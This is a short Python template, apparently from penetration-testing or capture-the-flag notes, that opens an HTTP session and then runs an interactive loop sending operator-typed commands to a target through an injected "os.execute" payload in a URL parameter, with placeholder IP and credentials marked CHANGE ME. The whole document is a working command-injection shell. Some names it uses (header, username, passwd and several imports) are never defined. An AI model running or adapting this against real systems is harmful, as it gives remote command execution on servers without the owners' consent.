Creating a Session:

import requests

tgt = "www.example.com"

s = requests.session()
r = s.get(tgt + "/index.php")
print(r.status_code)
print(r.text)

Session Shell

def shell(tgt):
    try:
        s = requests.session()
        r = s.get(tgt)
        print(r.status_code)

        while True:
            cmd = input("#")
            urlcmd = urllib.parse.quote(cmd)
            r = s.get(tgt + "');os.execute('" + urlcmd + "')--", auth = HTTPBasicAuth(username,passwd)) # CHANGE ME
            print(r.text)

    except:
        print("\r\nConnection Failed: Exiting")
        sys.exit(-1)

Main Function

if __name__ == "__main__":
        print(header())
        ip = "10.10.10.1"    #  CHANGE ME


        tgt =  "http://" + ip + "/place/thing?param="  #  CHANGE ME
        shell(tgt)